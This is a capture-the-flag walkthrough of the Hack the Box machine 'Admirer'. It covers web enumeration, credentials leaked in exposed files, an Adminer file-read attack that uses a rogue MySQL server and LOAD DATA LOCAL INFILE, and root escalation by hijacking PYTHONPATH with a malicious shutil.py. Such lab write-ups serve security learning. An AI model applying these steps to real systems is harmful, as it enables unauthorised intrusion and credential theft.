Hack the Box: Admirer
Target IP: 10.10.10.187
Recon
Scan
Scan all ports, get version numbers.
# Nmap 7.80 scan initiated as: nmap -A -p- 10.10.10.187
Nmap scan report for 10.10.10.187
Host is up (0.065s latency).
Not shown: 65532 closed ports
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 3.0.3
22/tcp open ssh OpenSSH 7.4p1 Debian 10+deb9u7 (protocol 2.0)
| ssh-hostkey:
| 2048 4a:71:e9:21:63:69:9d:cb:dd:84:02:1a:23:97:e1:b9 (RSA)
| 256 c5:95:b6:21:4d:46:a4:25:55:7a:87:3e:19:a8:e7:02 (ECDSA)
|_ 256 d0:2d:dd:d0:5c:42:f8:7b:31:5a:be:57:c4:a9:a7:56 (ED25519)
80/tcp open http Apache httpd 2.4.25 ((Debian))
| http-robots.txt: 1 disallowed entry
|_/admin-dir
|_http-server-header: Apache/2.4.25 (Debian)
|_http-title: Admirer
Interesting notes from scan:
- There is an vsFTP server on port 21, anonymous FTP is not allowed.
- Apache HTTPd server on port 80.
- robots.txt has "/admin-dir” disallowed, sounds inticing.
- SSHd is running but without credentials it’s practically worthless.
Website Analysis
Browsing to the website on port 80 does not reveal anything interesting (yet). There are not any manipulatable input fields or anything, but it’s really our only way in so far, so let’s try some enumeration on the website.
Gobuster
Gobuster is a tool that can be used to enumerate directories on a website when given a wordlist.
After trying multiple wordlists, the wordlist that provides some results is from SecLists, specifically the SecLists/Discovery/Web-Content/big.txt
list.
Running the command gobuster -w big.txt -u "http://10.10.10.187/admin-dir/" -x php,txt,html
returns the following information:
- /.htaccess (Status: 403)
- /.htaccess.txt (Status: 403)
- /.htaccess.html (Status: 403)
- /.htaccess.php (Status: 403)
- /.htpasswd (Status: 403)
- /.htpasswd.html (Status: 403)
- /.htpasswd.php (Status: 403)
- /.htpasswd.txt (Status: 403)
- /contacts.txt (Status: 200)
- /credentials.txt (Status: 200)
Ignoring the 403 requests and you’ll notice there are two of interest: contacts.txt and credentials.txt. contacts.txt is not particularly interesting since it includes a few emails on the machine, but credentials.txt is very useful.
[Internal mail account]
w.cooper@admirer.htb
fgJr6q#S\W:$P
[FTP account]
ftpuser
%n?4Wz}R$tTF7
[Wordpress account]
admin
w0rdpr3ss01!
The admin page for Wordpress would be located at “http://10.10.10.187/wp-admin” but this returns a 404 status so the credentials are likely worthless. However, using the FTP credentials worked!
FTP
Using the command ftp 10.10.10.187
and entering the credentials we found in credentials.txt
we are able to get into the ftp server. The server contains two files: dump.sql and html.tar.gz.
dump.sql is pretty much useless as it is a dump of the SQL table that contains the images located on the landing web page. However, html.tar.gz is very useful. It seems to be a backup of everything in the “/var/www/html” folder including some directories we have not seen yet:
- utility-scripts/
- w4ld0s_s3cr3t_d1r/
Not only that, but it includes the index.php
file. Why is this useful? Because located in the file is the code that loads in the images from the MySQL database onto the main page. In order to do this, the plaintext credentials for the MySQL database are located in the code:
$servername = "localhost";
$username = "waldo";
$password = "]F7jLHw:*G>UPrTo}~A"d6b";
$dbname = "admirerdb";
Since we currently don’t have direct access to the database, these credentials are not very useful. The credentials do not work for SSH, but the directory “w4ld0s_s3cr3t_d1r” is leet speek for “waldos_secret_dir”, so it seems waldo is important.
w4ld0s_s3cr3t_d1r/
This directory contains a contacts.txt and credentials.txt almost identical to the ones we found previously. However, the credentials.txt does include a username and password related to a bank account which we may find a use for later, so let’s hang onto these files too.
utility-scripts
The utility-scripts directory contains 4 PHP scripts:
- admin_tasks.php
- db_admin.php
- info.php
- phptest.php
phptest.php and info.php are pretty basic and just have some diagnostic php information, but db_admin.php and admin_tasks.php have some interesting stuff.
admin_tasks.php
admin_tasks.php is a page with a dropdown to select between different tasks to run, some of which are rather powerful (e.g., backing up the database, website, or /etc/shadow)
Looking at the PHP code we can find the line echo str_replace("\n", "<br />", shell_exec("/opt/scripts/admin_tasks.sh $task 2>&1"));
which reveals to us the existence of a script in the “/opt/scripts/” directory. This will be useful later.
db_admin.php
db_admin.php contains some credentials for a MySQL database located on the host, but that didn’t come up in our initial Nmap scan, so we’ll just have to keep these credentials in mind for now.
Gobuster Part 2
Since we’ve exausted our new information, it’s time to begin enumeration on the new directories (utility-scripts and w4ld0s_s3cr3t_d1r). Trying multiple wordlists on the waldos secret directory didn’t turn up anything,
but /utility-scripts returned /adminer.php (Status: 200)
(via the same command as before, just a new directory)
Adminer
Adminer is a database administration web interface. This allows us to try those mysql credentials that we’ve accessed previously in index.php
and db_admin.php
. Unfortunately, the credentials don’t work. But we’re not done here yet!
Reading Local Files with Adminer
Adminer version 4.6.2 had a serious vulnerability that allowed you read files on the host machine without connecting to the database on the host itself. The Adminer interface allows you to connect to any database you have credentials for, regardless if it is being hosted on the same machine that Adminer is located on.
If you connect it to a database you control, you can use the LOAD DATA LOCAL
MySQL command to load files from the target machine to your database.
Database Setup
On your Kali machine, MySQL and MariaDB are probably already installed. In order to make sure your MySQL server can be accessed by Adminer, make sure to change your bind-address in /etc/mysql/mariadb.conf.d/50-server.cnf
to your HTB VPN address. Then, restart your MySQL service (sudo systemctl restart mysql
).
Then, log into your MySQL server (sudo mysql -u root -p
) and enter the following commands:
CREATE USER 'jacob'@'%' IDENTIFIED BY 'jacob';
GRANT ALL ON *.* TO 'jacob'@'%';
CREATE DATABASE IF NOT EXISTS evil;
USE evil;
CREATE TABLE theLines(
line TEXT(50000)
);
This will create a new user for our evil database, create a MySQL database called “evil”, and create a table in that database called “theLines” that stores text. The point of this database and table is that we will use the vulnerability in Adminer to read files into our database.
Adminer Exploitation
Log into your database in the Adminer portal (make sure the hostname is your VPN IP) and go to the SQL Command page on the left.
Once you do, entering the following command will load the /var/www/html/index.php
file into the theLines
table:
load data local infile "/var/www/html/index.php"
into table evil.theLines
fields terminated by "/n";
You can then use Adminer or the MySQL CLI to retrieve the contents of the file. Why did we choose that file? Because it contains updated credentials to the MySQL DB on the machine:
$servername = "localhost";
$username = "waldo";
$password = "&<h5b~yK3F#{PaPB&dA}{H>";
$dbname = "admirerdb";
Not only are these the updated credentials to the database, they are also the username and password for an SSH user “waldo”
SSH Access
As mentioned previously, the credentials in the /var/www/html/index.php
for the MySQL database are also the credentials for the user “waldo”. SSHing into the target with these credentials will get you the user flag located in /home/waldo/user.txt
Privilege Escalation
Now that we have SSH access to the machine, we can finally focus on trying to get the root flag.
One of the things you should always check is what privileges your user can gain through sudo. You can do this via sudo -l
.
Running sudo -l
while logged in as waldo
gives the following output:
Matching Defaults entries for waldo on admirer:
env_reset, env_file=/etc/sudoenv, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin, listpw=always
User waldo may run the following commands on admirer:
(ALL) SETENV: /opt/scripts/admin_tasks.sh
What should catch your eye is the mention of /opt/scripts/admin_tasks.sh
, the script we saw mentioned earlier in the admin_tasks.php
file.
The output of sudo -l
is stating that waldo
is allowed to run the admin_tasks.sh script as root.
This is a pretty good indication that we might be able to abuse this in some interesting way.
admin_tasks.sh
The contents of admin_tasks.sh reveals it to be a menu system that allows us to do various administrative tasks on the machine. This includes backing up the /etc/shadow
and /etc/passwd
to a directory we can view.
Unfortunately, it immediately modifies the permissions of the backup files such that we cannot read them, so that functionality is worthless to us.
However, there is a web backup function that is interesting:
backup_web()
{
if [ "$EUID" -eq 0 ]
then
echo "Running backup script in the background, it might take a while..."
/opt/scripts/backup.py &
else
echo "Insufficient privileges to perform the selected operation."
fi
}
This runs the Python script /opt/scripts/backup.py
. This file uses the make_archive
function of the shutil
library to create a tar.gz archive of the /var/www/html
directory.
The backup itself is useless to us, but we can abuse this function call to do something of our design.
Python Function Override
If we create our own shutil
library, we may be able to make the backup.py
program call a function of our design.
Let’s make a hidden folder in /tmp
so as to add a small layer of protection from other users.
This folder will be called /tmp/.privesc
In this folder, make your own shutil.py
with this for the contents:
#!/usr/bin/python3
def make_archive(*ignore_parameters):
with open('/root/root.txt') as f:
print(f.readlines())
This script will give you the root flag when called but it has to actually get called for it to work.
To make the admin_tasks.sh
program use our shutil.py
, we run the command as such:
sudo "PYTHONPATH=/tmp/.privesc" /opt/scripts/admin_tasks.sh 6
Running this command gives you the root flag!